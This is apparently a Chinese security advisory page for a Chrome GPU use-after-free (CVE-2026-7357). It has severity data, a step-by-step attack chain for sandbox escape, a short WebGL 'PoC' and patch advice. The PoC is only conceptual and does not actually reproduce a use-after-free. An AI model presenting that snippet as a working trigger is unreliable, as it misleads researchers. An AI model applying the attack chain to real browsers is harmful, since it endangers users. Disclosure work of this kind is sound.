IPBUF安全漏洞报告
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CVE-2026-7357 CVSS 7.5 高危

CVE-2026-7357 Google Chrome GPU释放后重用漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-7357
漏洞类型
释放后重用
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

UAF释放后重用Google ChromeRCEGPU高危漏洞

漏洞概述

Google Chrome 147.0.7727.138 之前版本的 GPU 组件存在释放后重用漏洞。攻击者在已攻陷渲染进程的前提下,可利用精心构造的 HTML 页面触发堆破坏,进而可能导致沙箱逃逸或远程代码执行。

技术细节

该漏洞属于典型的释放后重用(Use-After-Free)类型,位于 Google Chrome 的 GPU 进程中。其根本原因在于 GPU 组件未能正确跟踪对象的生命周期,导致在内存被释放后,后续代码仍尝试对其进行引用或操作。利用该漏洞的前提是攻击者已经成功攻陷了渲染器进程。攻击者通过构造恶意的 HTML 页面,利用进程间通信(IPC)机制向 GPU 进程发送特定的图形指令序列。这些指令旨在触发 GPU 组件中存在缺陷的代码路径,导致特定对象被提前释放。随后,攻击者通过堆喷射等技术手段,尝试控制该释放内存区域的重新分配。当 GPU 进程再次访问该悬垂指针时,将解析攻击者可控的数据,从而引发堆破坏。这种破坏可以被进一步利用,通过绕过沙箱限制,最终在浏览器的高权限上下文中执行任意代码。

攻击链分析

STEP 1
步骤1: 初始入侵
攻击者首先利用浏览器渲染进程中的另一个漏洞(如RCE)获取渲染进程的执行权限。
STEP 2
步骤2: 构造恶意页面
攻击者编写包含特定 WebGL 或图形指令的恶意 HTML 页面,旨在触发 GPU 进程中的内存管理逻辑错误。
STEP 3
步骤3: 诱导用户交互
诱导目标用户访问该恶意页面,或者通过恶意广告重定向用户流量。
STEP 4
步骤4: 触发UAF漏洞
页面加载执行,通过 IPC 向 GPU 进程发送指令,导致 GPU 组件中的对象被释放后仍被引用,触发堆破坏。
STEP 5
步骤5: 提权与代码执行
利用堆破坏的内存布局,攻击者控制程序流,绕过沙箱限制,在系统层面执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-7357: GPU Use-After-Free Note: This is a conceptual demonstration to trigger GPU interaction. --> <!DOCTYPE html> <html> <head> <title>CVE-2026-7357 PoC</title> </head> <body> <script> // Check if WebGL is available const canvas = document.createElement('canvas'); const gl = canvas.getContext('webgl'); if (gl) { console.log("[+] WebGL context initialized. Starting PoC..."); // Create a buffer to simulate the object allocation const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Allocate memory gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(1024), gl.STATIC_DRAW); // Simulate the scenario leading to UAF // In a real exploit, specific GPU commands would be crafted here // to free the object while keeping a reference. for (let i = 0; i < 1000; i++) { // Perform operations to stress the GPU memory management gl.bufferSubData(gl.ARRAY_BUFFER, 0, new Float32Array(10)); if (i === 500) { // Simulate the free operation gl.deleteBuffer(buffer); // Attempt to use the buffer again (Use After Free) // This might cause a crash or instability in vulnerable versions gl.bindBuffer(gl.ARRAY_BUFFER, buffer); gl.bufferSubData(gl.ARRAY_BUFFER, 0, new Float32Array(10)); } } console.log("[+] PoC execution completed. Check for GPU process crash."); } else { console.log("[-] WebGL is not supported."); } </script> </body> </html>

影响范围

Google Chrome < 147.0.7727.138

防御指南

临时缓解措施
用户应尽快将 Google Chrome 浏览器升级到 147.0.7727.138 或更高版本。在未完成升级前,应避免访问来源不明的网站或点击可疑链接,以降低遭受渲染器进程攻击的风险。企业用户可通过网络策略限制高风险 Web 内容的加载。

参考链接

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